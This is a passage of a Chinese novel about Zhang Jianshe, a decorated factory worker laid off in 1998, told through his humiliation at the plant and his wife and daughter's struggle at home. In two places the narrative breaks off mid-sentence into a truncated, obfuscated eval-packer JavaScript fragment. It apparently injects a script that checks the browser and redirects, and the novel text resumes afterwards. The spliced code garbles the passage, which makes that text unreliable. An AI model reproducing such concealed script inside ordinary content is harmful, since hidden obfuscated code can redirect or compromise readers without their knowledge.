《时代洪流中普通人的悲歌》 1. 下岗通知书 1998年的第一场雪是从后半夜开始下的,到了清晨,已然将整个北春市染成了一种肮脏的、斑驳的灰白。雪花不是浪漫的鹅毛,而是细密坚硬的雪粒,被北风裹挟着,抽打在脸上,像无数根冰冷的针。它们覆盖了机械厂区那纵横交错的、满是油污的铁轨,覆盖了高耸烟囱上早已凝固的、如同巨大伤疤般的铁锈,也覆盖了厂门口那面光荣榜的玻璃橱窗。 张建设就站在这面光荣榜前。 他身上那件洗得发白、肘部打着深色补丁的蓝色工装,几乎要与这灰败的背景融为一体。唯有肩头那条同样褪色、但依旧能看出“光荣劳动”字样的绶带,以及他胸前那枚被擦拭得锃亮、在晦暗天光下反射着微弱寒光的铜质奖章,还在固执地宣告着他曾经的身份,连续十年的厂级劳模。 他伸出那双布满老茧、指甲缝里嵌着永远洗不净的油污的手,不是去触摸光荣榜上自己的名字,那名字印在红纸上,贴在玻璃后面,隔着一段永远无法逾越的距离,而是小心翼翼地拂去落在奖章上的雪粒。他的动作极其轻柔,仿佛在擦拭一件稀世珍宝,又象是在进行某种庄严的仪式。指腹感受到金属特有的冰凉,这冰凉似乎能透过皮肤,直抵他此刻同样冰冷的心脏。 “哟!这不是咱们的张劳模吗?这么早就来瞻仰光辉历史了?”一个尖细刺耳的声音自身后响起,带着一股子酸腐气。 张建设不用回头,也知道是锅炉房的刘麻子。这人以前见了他,老远就堆起笑脸喊“张师傅”,递烟的手都带着谄媚。 他没应声,只是将奖章握得更紧了些,金属的棱角硌着掌心。 刘麻子却不打算放过他,趿拉着一双破棉鞋,踩得积雪咯吱作响,凑到光荣榜前,用他那被煤灰浸染得乌黑的手指,虚点着橱窗里的照片:“啧啧,瞧这照片,多精神!可顶啥用呢?能当饭吃,还是能当钱花?”他啐了一口浓痰,落在张建设脚边的雪地上,迅速晕开一团污黄,“我听说啊,今天这名单一下来,管你什么劳模、标兵,统统玩完!神仙也救不了!” 张建设的脊背僵了一下,依旧没回头。他能感觉到周围陆续来上班的工友投来的目光,那些目光复杂得像一团乱麻,有同情,有麻木,有兔死狐悲的凄凉,甚至……还有一丝不易察觉的、看着高处跌落下来的快意。曾经,这些目光里充满了敬佩和羡慕。他记得,去年他上台领奖时,台下那雷鸣般的掌声,厂长紧紧握着他的手,说“建设同志,你是我们厂的骄傲!”那话音仿佛还在耳边,此刻却已被这凛冽的北风吹得七零八落。 风更紧了,卷起地上的雪沫,拍打在光荣榜的玻璃上,发出“沙沙”的轻响,象是在替这无声的嘲弄伴奏。厂区广播里那首常年播放、早已听腻了的《咱们工人有力量》,今天听起来格外刺耳,每一个音符都像锤子,敲打在他紧绷的神经上。 他终于转过身,没看刘麻子,也没看任何人,目光掠过那些或躲闪或直刺的眼神,投向厂区深处那几栋庞大的、如同垂死巨兽般匍匐着的厂房。烟囱不再冒烟,机器不再轰鸣,一种死寂的、令人窒息的沉默笼罩着这里。只有寒风穿过废弃管道的呼啸声,尖锐而凄凉。 他抬起脚,迈开步子,朝着厂办大楼的方向走去。脚步有些虚浮,踩在积雪上,深一脚,浅一脚。那条红色的绶带在灰白的背景下,像一道尚未完全凝固的血痕,随着他蹒跚的步伐,无力地晃动着。肩头的积雪,被他身体的微颤抖落,但更多的寒冷,已经渗进了他的骨头缝里。今年的第一场雪,真冷啊。冷得彻骨,冷得让所有往日的荣光,都变成了一场苍白而滑稽的雪上表演。 厂办大楼的走廊,阴冷而空旷,脚步声回荡出令人心慌的空洞。与外面的严寒截然不同,三楼那间最大的会议室门口,却蒸腾着一股由人体热量、湿重呼吸和劣质烟草混合而成的、黏腻闷浊的气浪。人挤着人,几乎水泄不通。工人们穿着或蓝或灰的工装,像一群被驱赶到狭小围栏里的、沉默而焦虑的牲口。汗味、烟草的焦油味,还有一股若有若无的、从某些人身上散发出的、因为长期紧张而渗出的酸腐气息,在空气中发酵,令人作呕。 张建设费劲地挤进人群,几乎是被后边的人推搡着往前挪。他尽量缩着身子,避免碰到旁人,可还是不可避免地与无数个同样紧绷的身体摩擦、碰撞。没人说话,只有粗重的喘息声,偶尔一两声压抑的咳嗽,以及鞋底摩擦水泥地面的沙沙声。每一张脸都象是被同一只无形的手捏造出来的,布满焦虑的沟壑,眼神里混杂着最后一丝侥幸和巨大的恐惧。他们盯着那扇紧闭的、漆皮剥落的深棕色木门,仿佛那后面不是会议室,而是决定他们生死的审判庭。 “挤什么挤!赶着投胎啊!”一个暴躁的声音在他耳边炸响,是锻工车间的王大炮,以前总吹嘘自己拳头硬。此刻他额上青筋暴起,眼神凶狠地瞪着每一个靠近他的人。 “哟,张师傅也来了?”一个略显轻浮的声音从旁边飘来,是宣传科以前的小干事赵斌,这人惯会看人下菜碟。他脸上堆着一种刻意讨好的、却又带着几分看好戏意味的笑容,“您这身份,怎么也跟我们挤在这儿?要我说,就算全厂都下了,也轮不到您这十年的老劳模啊!”话虽这么说,他眼神里的闪烁却暴露了言不由衷。 张建设嘴唇动了动,没发出声音,只是把头埋得更低了些。那枚冰凉的劳模奖章,隔着衣服,似乎也感受到了这室内的闷热,变得有些烫人。 就在这时,门“吱呀”一声开了。 人群像决堤的洪水般猛地向前一涌,又在那道无形的门槛前硬生生刹住。厂里的几位领导鱼贯而出,走在最前面的就是王厂长。他穿着一件半旧的藏蓝色中山装,领口扣得一丝不苟,但脸色却是灰败的,眼袋浮肿,眼神躲闪着,不敢与任何一道投来的目光接触。他手里捏着几张薄薄的、仿佛重逾千钧的纸。 会议室里比外面更热,热气裹挟着更浓的烟味和体味,扑面而来,几乎让人窒息。王厂长被众人簇拥着,走到前面那张铺着破旧绿绒布的桌子后面。他没有立刻说话,而是端起桌上的搪瓷缸,喝了一大口水。握着缸子的手,微微有些颤抖。 “同志们……”他开口了,声音干涩沙哑,完全没有了过去做报告时的洪亮和底气。这三个字象是耗尽了他全部的力气,后面的话卡在了喉咙里。 台下死一般的寂静,连呼吸声都仿佛停止了。几百双眼睛,像几百支冰冷的箭,齐齐射向他。 王厂长清了清嗓子,那声音在寂静中显得格外刺耳。他低下头,目光躲闪着,开始念手中的名单。名字一个接一个地从他嘴里吐出来,伴随着简单的说明——“某某车间,某某某,下岗。” 每一个名字落下,人群中都会响起一声极力压抑的、短促的抽气,或是某个角落传来女人低低的啜泣,随即又被更深的沉默吞没。念到名字的人,脸色瞬间惨白,象是被抽走了魂魄;还没被念到的人,则更加紧张,拳头攥得发白,死死盯着厂长的嘴,仿佛那两片嘴唇是死神的镰刀。 张建设的心跳得像擂鼓,太阳穴突突直跳。他听着那些熟悉或不熟悉的名字,有的曾是他徒弟,有的曾和他一起在机床前挥汗如雨。他感到一阵阵眩晕,会议室那盏昏黄的白炽灯,在他眼里开始旋转、模糊。 突然,一个名字清晰地钻入他的耳朵“……机加车间,张建设……” 时间仿佛在这一刻凝固了。 王厂长念到这个名字时,声音似乎也顿了一下,带着一种难以言喻的滞涩。他几乎是下意识地抬眼,朝张建设站立的方向飞快地瞥了一眼,那眼神复杂得像一团乱麻,有愧疚,有无奈,或许还有一丝如释重负?随即又迅速垂下眼皮,仿佛多看一眼都是罪过。 张建设只觉得脑子里“嗡”的一声,象是有根弦猛地崩断了。周围所有的声音——哭泣、叹息、甚至他自己如雷的心跳——都瞬间远去。世界变成了一片空白,只有“张建设”那三个字,在空荡荡地回响。 他手中一直紧握着的、那个印着红字“先进生产者”的旧搪瓷茶杯,从他无力的指间滑落。“哐当”一声脆响,在死寂的会议室里炸开,显得格外惊心动魄。 滚烫的茶水混杂着几片舒展开的、廉价的茉莉花茶叶,泼溅出来,瞬间浸透了他膝盖上那片早已洗得发白、甚至隐约能看到里面棉絮的工装裤布料——那是很多年前,他刚当上劳模那年,妻子李桂兰在灯下一针一线亲手为他缝制的,裤脚还特意加固了几层,怕他干活磨破。 灼热感透过布料传到皮肤,但他却感觉不到丝毫疼痛。那温热,与他此刻浑身的冰凉形成了残酷的对比。他呆呆地站着,目光没有焦点,只是茫然地看着地上那片狼藉的水渍和碎瓷片,看着那抹刺眼的、湿漉漉的深色,在自己膝盖上慢慢洇开,扩大,像一朵迅速枯萎的、丑陋的花。 周围似乎有目光投来,有同情的,有麻木的,或许,也有像刘麻子那样,在角落里发出的、压抑不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙老板倚在门框上,手里揣着个暖水袋,脸上挂着一种混合着探究和怜悯的神色,那怜悯底下,又似乎藏着点别的东西。“听说……今儿厂里开大会?”他拖长了语调,目光像刷子一样在张建设那张失魂落魄的脸上和那枚被雪覆盖的奖章上扫来扫去,“名单……下来了?” 张建设没有回答,只是下意识地避开了那目光,推着车想快点过去。 孙老板却象是得到了确认,叹了口气,那叹息声在寒冷的空气里化作一团白雾,很快消散。“唉,这世道!你说你这样的老师傅,技术多好啊,怎么也……真是没处说理去!”他摇着头,语气里却听不出多少真正的惋惜,反而有种“果然如此”的了然,甚至是一丝难以言喻的、站在岸上看着溺水者的轻松。“往后啊,有啥难处,尽管开口,街里街坊的。”这话听起来冠冕堂皇,却轻飘飘的没有分量,像这空中飞舞的雪片,一触即融。 张建设含糊地“嗯”了一声,几乎是逃离了那扇门和那道目光。他能感觉到背后那双眼睛还在盯着自己,像芒刺一样。世态炎凉,他活了大半辈子,直到今天,才真正尝透了这滋味。 穿过小巷,便是那个他熟悉的露天菜市场。往日里,这里是厂区附近最富有生气的地方,下班时分,人声鼎沸,充斥着讨价还价的喧闹。而今天,或许是因为天气,或许也是因为这席卷而来的下岗潮,市场显得格外冷清。大部分摊位都空着,只有几个不畏严寒的小贩守着寥寥无几的蔬菜,那些蔬菜也冻得蔫头耷脑,失了水色。 寒风卷着雪沫,刮过空荡荡的摊位,吹起地上的烂菜叶和废纸屑。一个小贩缩着脖子,揣着手,有气无力地吆喝着:“白菜!便宜了!五分一斤!”声音很快被风吹散。 张建设推着车,慢慢地走过这些摊位。他的目光掠过那些冻得硬邦邦的土豆,发蔫的萝卜,最后停留在角落里一个卖糖葫芦的老头身上。插在草把子上的糖葫芦,红艳艳的山楂裹着亮晶晶的糖壳,在灰白的世界里显得格外刺眼。他记得,女儿小梅最爱吃这个。每次他发工资,总会给她买上一串,看她举着糖葫芦,笑得比那糖壳还甜。 他下意识地停下脚步,手伸进了工装裤的口袋。口袋里只有一张叠得整整齐齐的五元纸币,还有几枚冰冷的、一分两分的硬币。这是家里这个月最后的、也是唯一的机动钱了。李桂兰身体不好,常年吃药,小梅的学费、书本费……每一分钱都有它的去处。 卖糖葫芦的老头抬起浑浊的眼睛看了他一眼,没说话,只是下意识地把草把子往怀里收了收,仿佛怕这穷酸气沾染了他的糖葫芦。 2. 窗后的眼睛 张建设的手指在那张五元纸币上摩挲了许久,纸币的边缘都被他手心的汗浸得有些发软。他能想象出女儿看到糖葫芦时惊喜的眼神,但更能想象妻子看到这“不必要的”开支时,那欲言又止、充满忧虑的神情。 最终,他深吸了一口冰冷的、带着煤烟味的空气,象是下定了某种决心。他松开那张五元钱,转而摸出一枚五分钱的硬币,递了过去,声音干涩:“来……来一串。” 老头接过硬币,熟练地取下一串糖葫芦递给他。那冰凉的、带着硬壳的触感,透过薄薄的包装纸传到掌心。 他没有立刻离开,推着车,站在市场边缘,望着不远处那几栋熟悉的、同样破败的筒子楼。家的窗户就在其中一扇后面。此刻,那窗户后面,是否有女儿期盼的目光?是否有妻子忙碌的身影?她们是否已经听到了风声? 这三公里的路,他走了仿佛一个世纪。每一步,都象是踩在碎玻璃上,疼痛从脚底蔓延到全身。风雪依旧,前方的家,曾经是温暖的港湾,此刻却象是一个需要他去面对的、更加残酷的审判庭。他握紧了车把,那串糖葫芦在他手里,沉甸甸的,不再是甜蜜的慰藉,反而成了他无能和无力的、冰冷的证明。 筒子楼三楼的窗户后面,十岁的张小梅像一只受惊的小鹿,紧紧贴着冰冷玻璃。她身上那件红色的、袖口已经磨出毛边的旧棉袄,在灰蒙蒙的窗景前显得格外刺目。鼻子在玻璃上压出一个扁平的白色印子,呼出的热气在玻璃上氤氲开一小团模糊的雾,又迅速消散。 她看见爸爸了。 那个推着破旧自行车、在楼下雪地里徘徊的身影,是她熟悉的,却又无比陌生。爸爸没有像往常那样,把自行车利落地锁在楼道口,然后大步流星地上楼,沉重的工靴在楼梯上踏出坚实而令人安心的声响。他只是站在那里,一动不动,低垂着头,仿佛脚下不是积雪,而是粘稠的、无法挣脱的泥沼。雪花无声地落在他弓起的背上,落在他那件一年四季都穿着的、洗得发白的蓝色工装上,几乎要将他塑成一尊雪人。 小梅的心揪紧了。一种说不清道不明的恐慌,像冰冷的藤蔓,悄悄爬上她稚嫩的心房。她下意识地攥紧了拉拢着窗帘的手,指节因为用力而微微发白。这窗帘是妈妈用厂里发的劳保毛巾拼凑的,粗糙的质感磨着她的掌心。 “看什么呢,梅子?”隔壁王婶的大嗓门隔着薄薄的墙壁传过来,带着一种刻意压低的、却又足以让这边听清的“关切”,“是不是你爸回来了?今儿个厂里可是宣布大事了!哎呦喂,这世道,真是说不准呐……” 声音里裹挟着毫不掩饰的打探和一丝隐秘的兴奋,像一只黏腻的手,试图扒开别人家的门缝。 小梅没有回头,也没有应答。她讨厌王婶这种语气。以前爸爸年年当劳模的时候,王婶总是满脸堆笑,变着法儿地夸她“有出息”,时不时塞给她几颗快化掉的水果糖。可现在,那声音里的味道变了,像放久了的剩菜,散发着一股酸腐气。 楼下的张建设终于动了。他不是去锁车,而是抬起手,用那双戴着磨破线劳保手套的手,反复地、用力地擦拭着自己的脸颊。一下,又一下。是在擦雪花吗?可那动作,分明带着一种近乎粗暴的绝望。小梅屏住呼吸,眼睛睁得大大的,一眨不眨。她看见爸爸的肩膀在微微颤抖,虽然隔得远,看不真切他脸上的表情,但那种从骨子里透出来的颓丧和无力,却像冰冷的针,刺穿玻璃,直直扎进她的心里。 “听说机加车间那张建设,就那个老劳模,也下来了!” 楼道里,不知是哪家的女人在和另一个人搭话,声音尖锐,毫不避讳,“啧啧,劳模顶啥用?能当饭吃?以前多风光啊,现在不也得跟我们一样喝西北风?” “可不是嘛!还以为他能有啥特殊待遇呢……” 那些话语,像带着倒刺的鞭子,抽在空气里,也抽在小梅稚嫩的认知上。她不太明白“下岗”具体意味着什么,但她知道,那绝不是好事。从昨天开始,妈妈就心事重重,夜里,她听见父母房间里压抑的、几乎听不见的交谈声,还有妈妈一声接一声沉重的叹息。今天早上,妈妈的眼睛是红肿的。 寒风从窗户缝隙钻进来,吹得窗帘微微晃动。小梅打了个寒噤,却依旧固执地守在窗边。她看见爸爸在雪地里站了多久,她就在窗后站了多久。时间仿佛被冻住了,每一秒都拉得漫长而煎熬。楼下偶尔有邻居经过,裹着厚厚的棉衣,行色匆匆,没有人停下来问爸爸一句,甚至没有人多看他一眼,仿佛他只是一个碍路的障碍物。世情的冷漠,像这严冬的寒气,无孔不入。 终于,张建设象是耗尽了所有的力气,推着车,慢吞吞地走向楼道口。那串用简陋油纸包着的、红艳艳的糖葫芦,在他手中无力地晃动着,与这沉重压抑的氛围格格不入。 小梅像受惊的兔子,猛地向后退了一步,迅速拉严了窗帘,将自己藏在那一方相对安全的、昏暗的角落里。心脏在胸腔里“咚咚”直跳,几乎要蹦出来。她不敢让爸爸知道她看见了,看见了他的脆弱,他的不堪。那种属于孩童的、敏锐的直觉告诉她,此刻的父亲,需要藏起他的伤口,哪怕是在最亲的人面前。 楼道里传来了熟悉的、却比以往沉重迟缓太多的脚步声。一步,一步,象是踩在碎玻璃上,也踩在小梅的心尖上。她蜷缩在窗帘的阴影里,咬住了自己的下唇,直到尝到一丝淡淡的铁锈味。 夜,沉得象是泼洒开的浓墨。筒子楼里白日里的喧嚣与窃语,此刻终于被这沉重的黑暗与寂静吞噬、掩埋。只有北风,不知疲倦地穿梭在楼道破损的窗户缝隙间,发出时而呜咽、时而尖啸的声响,象是一个冤魂在不停地叩打着每一扇单薄的门扉。 张家那间不足十五平米的屋子里,空气凝滞,带着一股食物匮乏导致的、若有若无的胃酸气息,混杂着老旧家具散发出的霉味。唯一的亮光,来自墙角那张折叠饭桌上方,一盏低瓦数的、昏黄的白炽灯泡。光线勉强照亮桌案,却将周围的一切都推入了更深的阴影里。 李桂兰就蜷缩在这片昏黄的光晕下。 她身上裹着一件早已看不出原本颜色的旧棉袄,领口磨得发亮,袖口处露出里面灰败的棉絮。一台老掉牙的“蝴蝶牌”缝纫机,像一头疲惫不堪的老牛,占据着桌案的大部分位置。缝纫机的漆面斑驳脱落,露出底下暗黄色的铁锈,踏板被她用布条层层缠绕,以掩盖那吱呀作响的噪音——尽管这努力在夜深人静时显得如此徒劳。 “哒、哒、哒哒哒……” 缝纫机针以一种疲惫而执拗的节奏起落着,穿透一层层厚实、粗糙的劳动布布料。这声音细密、急促,不象是在缝制衣物,更象是在奋力扎穿着这沉重如铁的夜晚,扎穿着她那早已千疮百孔的心。她承接的是附近一家小服装厂外包的活儿,给一批工装裤锁边、钉扣子。一条裤子完工,能挣八分钱。 她的眼皮沉重得像坠了铅块,眼眶深陷,周围是一圈浓重的青黑。手指因为长期与粗糙的布料和坚硬的顶针摩擦,布满了细小的裂口和老茧,动作却不敢有丝毫停歇。腰背处传来一阵阵酸麻的刺痛,像有无数根小针在不停地扎。她只能时不时地停下踩踏板的脚,用拳头死死抵住后腰,狠命地揉上几下,待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他曾是这个家的顶梁柱,是光荣的劳动者,是能让妻女在邻居面前挺直腰板的劳模。可现在,那红色的劳模证书还静静地躺在抽屉里,却已经轻飘飘的,失去了所有的分量。他甚至不敢起身,不敢去面对妻子那在昏黄灯光下更显憔悴的侧影,不敢去看她那双布满血丝却依然强撑着不肯闭上的眼睛。 李桂兰终于停下了手里的活计,不是因为做完,而是布料用完了。她疲惫地直起腰,发出一声细微的、仿佛骨头都要散架的呻吟。她揉了揉干涩发痛的眼睛,目光落在窗台上。那里,放着小梅睡前吃剩的那串糖葫芦。两颗红艳艳的山楂被小心地留了下来,糖壳在昏黄的光线下,反射着一点微弱而脆弱的光。 她的眼神有了一瞬间的柔软,随即又被更深的忧虑覆盖。她轻轻站起身,动作迟缓得像一个老人,走到女儿床边。 小梅似乎睡得很沉,呼吸均匀。但借着微弱的光线,李桂兰清晰地看到,女儿长长的睫毛上,还挂着未干的、晶莹的泪珠。那泪珠像尖利的冰晶,刺痛了李桂兰的心。孩子什么都懂,她在用假装熟睡,来维持这个家里最后一点摇摇欲坠的平静。 李桂兰伸出手,用指腹极其轻柔地拂去那滴泪水。触手一片冰凉。 她回到缝纫机前,没有立刻坐下,只是呆呆地站着,望着窗外浓得化不开的夜色。风还在刮,象是永无止境的哀歌。她知道,从明天开始,她必须去找更多的零活,必须把每一分钱掰成两半花。这个家,曾经由丈夫宽厚的肩膀和她的精打细算共同支撑,如今,所有的重量,都沉甸甸地压在了她一个人瘦弱的肩头,和这台老迈的、发出疲惫“哒哒”声的缝纫机上。 她重新坐下,深吸了一口冰冷的、带着布料纤维味道的空气,再次踩动了踏板。 “哒、哒、哒哒哒……” 那声音,固执地在深夜里回响,不再仅仅是为了那八分钱一条的工装裤,更象是一种无言的宣告,一种在命运碾压下,卑微却不肯熄灭的、属于生存本身的挣扎。 3. 光荣榜下的阴影 天光未亮,铅灰色的云层低低压着北春市的屋檐树梢,将前夜刚落下的雪映衬得愈发惨白。机械厂区的中央空地上,积雪被杂乱无章的脚印践踏得一片狼藉,露出底下冻得硬邦邦的、黑乎乎的地面。 厂区喇叭一如既往地、准时地在清晨六点三十分响起。但那首曾经象征着朝气与力量的《运动员进行曲》,此刻听来却嘶哑、走调,象是从一个濒死的老者喉咙里挤出来的,断断续续,有气无力。喇叭本身也似乎出了故障,夹杂着“刺啦刺啦”的电流杂音,更添了几分破败与凄凉。 稀稀拉拉的人群,从各个车间、宿舍楼里磨蹭着走出来,汇聚到空地上。他们大多依旧穿着那身标志性的、洗得发白或沾着油污的蓝色工装,但步伐不再矫健,身形不再挺拔,一个个缩着脖子,揣着手,象是被抽去了筋骨。呵出的白气在寒冷的空气中一团团升起,很快又被风吹散。 张建设站在他站了十几年的老位置上——队伍的前排,靠近领操台右侧。这个位置,曾经代表着荣誉,代表着标杆。他的动作,依旧带着一种刻入骨髓的习惯性标准:扩胸、踢腿、转身……每一个节拍都卡得精准,手臂伸得笔直,仿佛要用这近乎偏执的规范,来对抗周遭正在崩塌的一切,来证明自己尚未被这洪流彻底冲垮。 然而,他的目光却无法像动作那样保持稳定。眼角的余光瞥见,身后那片原本应该站满人的空地,此刻空了一大半。那些熟悉的身影消失了,象是被一只无形的大手凭空抹去。留下来的人,也大多动作敷衍,胳膊抬得有气无力,眼神飘忽,带着一种茫然和麻木。 “建设哥,早啊。”一个微弱的声音从旁边传来,是他以前的徒弟小李,声音里带着怯懦和一丝不易察觉的疏远。 张建设“嗯”了一声,算是回应,没有转头。他能感觉到,周围投来的目光复杂得像一团乱麻。有对他依旧标准动作的无声嘲讽,有对他“劳模”身份沦为笑柄的怜悯,更多的,是一种隔岸观火的冷漠。曾经,他是众人目光的焦点,是学习的榜样;如今,这焦点却像烧红的烙铁,烫得他无处躲藏。 “哟!张劳模!这动作,还是这么带劲儿!”一个阴阳怪气的声音从不远处传来,是以前和他有过节、如今也留在厂里的维修工赵老歪。他一边胡乱地比划着动作,一边斜睨着张建设,嘴角挂着毫不掩饰的讥诮,“给谁看呢?厂领导都自身难保了,谁还看你在这儿表演?” 这话像一块石头砸进死水,激起细微的涟漪。周围几个工友发出低低的、压抑的笑声,那笑声里没有欢乐,只有一种扭曲的释放。 张建设的脸颊肌肉抽搐了一下,动作却没有丝毫变形,只是将牙关咬得更紧。他能感到胸口那枚劳模奖章,隔着棉衣,冰冷地贴着皮肤,像一块沉重的、昭示着过往耻辱的烙铁。 广播体操的音乐还在空洞地回响,与这冷清、涣散的场面形成了尖锐的讽刺对比。口号声通过破喇叭传出来,虚弱无力:“发展体育运动,增强人民体质……振兴中华……” “振兴个屁!”蹲在墙角避风处、连操都懒得做的刘麻子,低声嘟囔了一句,声音不大,却清晰地传到了前排,“厂子都要黄了,人都快饿死了,还增强体质?” 这话引起了更多人的共鸣。队伍更加涣散了,有人开始偷偷跺脚取暖,有人干脆停下动作,目光呆滞地望着那不再冒烟的烟囱。 张建设依旧在坚持,每一个动作都耗尽了他全身的力气。汗水从他额角渗出,却在接触到冰冷空气的瞬间变得冰凉。他知道,自己坚持的,早已不是广播体操本身,而是某种即将彻底逝去的东西——是秩序,是信仰,是他为之奉献了大半生的、那个曾经轰隆作响的世界的回光返照。 音乐终于在一片杂音中戛然而止。人群像得到特赦般,瞬间松动,四散开来,没有人交谈,每个人都低着头,匆匆走向自己那吉凶未卜的岗位,或者,只是找一个角落,继续呆坐。 空地上,只剩下张建设一个人,还保持着最后一个收势的动作,僵立在原地,像一尊被遗忘在雪地里的、过时的雕塑。寒风卷着雪沫,扑打在他身上,那身过于标准的蓝色工装,在满目疮痍的厂区背景下,显得格外突兀和悲凉。 车间的穹顶下,空气里弥漫着一种比机油和铁锈更深沉的腐朽气味。阳光从高窗外斜射进来,在布满油污的水泥地上切割出几道苍白的光带,光带里尘埃飞舞,像无数惶惑的精灵。大部分机床沉寂着,罩着破旧的帆布,如同盖着尸布。只有少数几台还在运转,发出的声音也失去了往日的铿锵,变得有气无力,仿佛垂死者的喘息。 张建设站在他那台老伙伴——一台保养得最好、曾为他赢得无数荣誉的C620车床前,手指无意识地拂过冰凉的、依旧泛着幽暗金属光泽的床身。这里曾是他的疆场,他的骄傲。而如今,这骄傲变得如此廉价,甚至可笑。 “张师傅,主任叫你去一趟办公室。”一个年轻的学徒工跑过来,声音带着尚未被生活磨钝的清脆,眼神里却有一丝不易察觉的、对这位过气劳模的疏远。 张建设的心微微往下一沉。他点了点头,默不作声地离开机床,朝着车间角落那间用铁皮和玻璃隔出来的办公室走去。每一步都感觉踩在棉花上,又象是走向审判台。工友们或明或暗的目光追随着他,那些目光里,有幸灾乐祸,有麻木,有同情,更多的是事不关己的冷漠。刘麻子正和几个人围在一台闲置的铣床旁抽烟,看见他过来,故意提高了嗓门: “瞧见没?劳模就是不一样,领导随时召见!肯定是又有啥光荣任务了!咱们这些糙人,羡慕不来啊!” 哄笑声低低地响起,像阴沟里的气泡。 张建设的脊背僵了一下,没有回头,加快了脚步。 车间主任的办公室狭小而杂乱。墙上挂着几张泛黄的安全生产奖状,边角卷曲,蒙着灰尘。主任姓赵,是个身材微胖、头顶微秃的中年男人,此刻正坐在一张旧办公桌后,对着一个泡着浓茶的搪瓷缸子发愣。见张建设进来,他抬起眼皮,脸上挤出一个极其不自然的、混合着尴尬与虚伪的笑容。 “建设来了,坐,坐。”他指了指对面那张吱呀作响的木椅子。 张建设没有坐,只是站着,双手不自觉地垂在身体两侧,微微握紧。 赵主任避开他直视的目光,低头吹了吹搪瓷缸里浮着的茶叶沫,又呷了一小口,仿佛需要借这点动作来掩饰内心的不安。办公室里弥漫着一股劣质茶叶和烟草混合的涩味。 “这个……建设啊,”他终于放下缸子,双手交叠放在桌上,手指不安地互相搓动着,“你也知道,现在厂里情况特殊,生产任务不饱满……这个,人员呢,也需要重新安排,优化组合嘛。” 张建设沉默着,像一块沉默的石头。 赵主任被他这沉默弄得更加不自在,清了清嗓子,声音干涩地继续说道:“你是咱们厂连续十年的老劳模了,思想觉悟高,技术过硬,是标杆,是旗帜!”他习惯性地拔高音调,用了些空洞的词汇,试图给接下来的话裹上糖衣。 “越是这种困难时期,越需要你这样的老同志发挥模范带头作用,维护好……呃,维护好厂容厂貌,也是为厂里做贡献嘛!”他终于图穷匕见,目光游移着,落到了靠在墙角的一把崭新的竹扫帚上。那扫帚的黄色,在这灰暗的办公室里显得格外刺眼。 “经过车间领导班子研究决定,”赵主任的声音低了下去,几乎象是在耳语,“从今天起,你就负责……负责打扫咱们整个机加车间的卫生。包括……包括机床下面的铁屑和油泥,也都要清理干净。” 他顿了顿,仿佛耗尽了力气,最后几乎是嗫嚅着补充道:“建设啊,你是劳模,带个头……理解一下厂里的难处。” 空气仿佛凝固了。窗外传来几声乌鸦的啼叫,沙哑而凄厉。 张建设站在那里,感觉全身的血液似乎都涌向了头顶,嗡嗡作响。他看着那把崭新的扫帚,它像一个巨大的、充满嘲讽意味的惊叹号,矗立在他职业生涯的终点。打扫卫生?维护厂容厂貌?他这双曾经创造 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他没有再看赵主任一眼,也没有理会身后那些瞬间变得清晰的、夹杂着嗤笑的议论声。他紧紧攥着扫帚柄,指节因为用力而泛白,然后,像一个战败的士兵拖着断剑,一步一步,沉重地走出了办公室的门。 那把崭新的黄色扫帚,在他手中,像一面投降的白旗,又像一道刺眼的、宣告他工人阶级身份已然死去的墓志铭。他走向那片曾经属于他的、如今却已沦陷的疆场,走向一个劳模最后的、充满讽刺的“特殊任务”。 第一车间,曾是北春机械厂跳动的心脏,是荣耀与力量的象征。而今,它像一头被抽干了血液、匍匐在地的巨兽,只剩下空洞的骨架和弥漫的死寂。 张建设推开那扇沉重、漆皮剥落大半的铁门,一股浓烈到令人窒息的混合气味扑面而来,几乎让他踉跄。那不是单一的铁锈味,而是铁器在潮湿空气中缓慢氧化产生的、带着腥甜的腐败气息,与凝固的、黑黄色的机油挥发出的刺鼻味道,还有灰尘、霉菌,以及某种难以言喻的、属于废弃之地的阴冷,共同发酵出的,一种时代终结的气味。这气味粘稠地附着在每一寸空气里,沉甸甸地压在胸口,让人喘不过气。 巨大的空间里,光线从高处布满污垢的玻璃天窗艰难地透下来,被灰尘切割成一道道昏黄的光柱,无力地投射在冰冷的水泥地上。曾经川流不息的传送带,如今像一条条僵死的巨蟒,静静地盘踞着,落满了厚厚的、灰黑色的尘埃。庞大的龙门铣、立式车床、摇臂钻……这些曾经轰鸣咆哮的钢铁巨人,此刻全都沉默着,身上覆盖着破旧的防雨帆布,帆布下勾勒出它们僵硬的轮廓,如同停尸房里蒙着白布的尸体。一些机床裸露在外,裸露的导轨和丝杠上,已经可以看到斑斑点点的褐色锈迹,像蔓延的老年斑。 寂静。死一般的寂静。只有他自己的脚步声在空旷的车间里回荡,发出空洞而孤独的回音,反而更衬出这寂静的庞大与压抑。偶尔,不知从哪个角落传来“嘀嗒”一声,是残存在管道里的冷凝水珠,不堪重负,终于滴落,砸在某个铁器或水泥地上,那声音清脆得令人心慌。 他握着扫帚,开始机械地清扫。竹扫帚划过地面,带起陈年的积尘和细碎的铁屑,发出“沙沙”的声响,在这片死寂中显得格外刺耳。灰尘飞扬起来,在昏黄的光柱里狂乱舞动,像无数焦躁的幽灵。 “哟呵!张劳模这就上岗了?真是雷厉风行啊!” 一个戏谑的声音打破了寂静。是锻工车间的王大炮,他带着两个年轻工人,叼着烟,吊儿郎当地晃荡进来,象是来巡视自己的领地。他们大概是来找点还能用的零碎东西,或者,纯粹是来寻找一点廉价的乐子。 王大炮走到一台停着的刨床旁,用脚踢了踢床身,发出沉闷的响声,然后斜眼看着张建设,咧嘴笑道:“这地方,也就配你这种‘高级人才’来打扫了!咱们这些粗人,干不了这细活儿。” 